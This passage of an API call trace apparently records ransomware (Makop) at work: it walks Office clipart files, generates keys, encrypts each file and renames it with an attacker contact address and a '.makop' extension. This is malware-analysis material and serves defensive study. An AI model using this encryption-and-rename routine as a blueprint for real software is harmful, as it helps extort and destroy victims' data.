out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ae0, lpOverlapped=0x0) returned 1 [0138.880] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.880] SetEndOfFile (hFile=0xf0) returned 1 [0138.887] GetProcessHeap () returned 0x48a0000 [0138.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.887] GetProcessHeap () returned 0x48a0000 [0138.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.887] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.889] CloseHandle (hObject=0xf0) returned 1 [0138.889] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9070c700, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9070c700, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x5044, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00042_.WMF", cAlternateFileName="")) returned 1 [0138.889] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 63 [0138.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.890] GetProcessHeap () returned 0x48a0000 [0138.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.890] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0138.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.894] GetProcessHeap () returned 0x48a0000 [0138.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.896] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5044, lpOverlapped=0x0) returned 1 [0138.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5050, dwBufLen=0x5050 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5050) returned 1 [0138.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.900] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5050, lpOverlapped=0x0) returned 1 [0138.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.901] SetEndOfFile (hFile=0xf0) returned 1 [0138.907] GetProcessHeap () returned 0x48a0000 [0138.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.907] GetProcessHeap () returned 0x48a0000 [0138.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.908] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.909] CloseHandle (hObject=0xf0) returned 1 [0138.909] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b49b100, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b49b100, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00057_.WMF", cAlternateFileName="")) returned 1 [0138.909] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF") returned 63 [0138.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.910] GetProcessHeap () returned 0x48a0000 [0138.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0138.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.915] GetProcessHeap () returned 0x48a0000 [0138.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.916] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a42, lpOverlapped=0x0) returned 1 [0138.917] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a50) returned 1 [0138.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.918] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a50, lpOverlapped=0x0) returned 1 [0138.918] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.918] SetEndOfFile (hFile=0xf0) returned 1 [0138.924] GetProcessHeap () returned 0x48a0000 [0138.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.924] GetProcessHeap () returned 0x48a0000 [0138.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.924] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.926] CloseHandle (hObject=0xf0) returned 1 [0138.926] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0138.926] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF") returned 63 [0138.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.927] GetProcessHeap () returned 0x48a0000 [0138.927] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.927] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0138.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.932] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.932] GetProcessHeap () returned 0x48a0000 [0138.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.932] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.932] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.932] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.933] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.933] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.933] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.933] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.933] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.933] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xeaa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xeaa, lpOverlapped=0x0) returned 1 [0138.934] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xeb0) returned 1 [0138.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xeb0, lpOverlapped=0x0) returned 1 [0138.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.934] SetEndOfFile (hFile=0xf0) returned 1 [0138.940] GetProcessHeap () returned 0x48a0000 [0138.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.941] GetProcessHeap () returned 0x48a0000 [0138.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.941] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.942] CloseHandle (hObject=0xf0) returned 1 [0138.942] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0138.942] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF") returned 63 [0138.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.945] GetProcessHeap () returned 0x48a0000 [0138.945] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.945] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.945] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.945] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0138.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.949] GetProcessHeap () returned 0x48a0000 [0138.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.949] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.949] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.951] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, 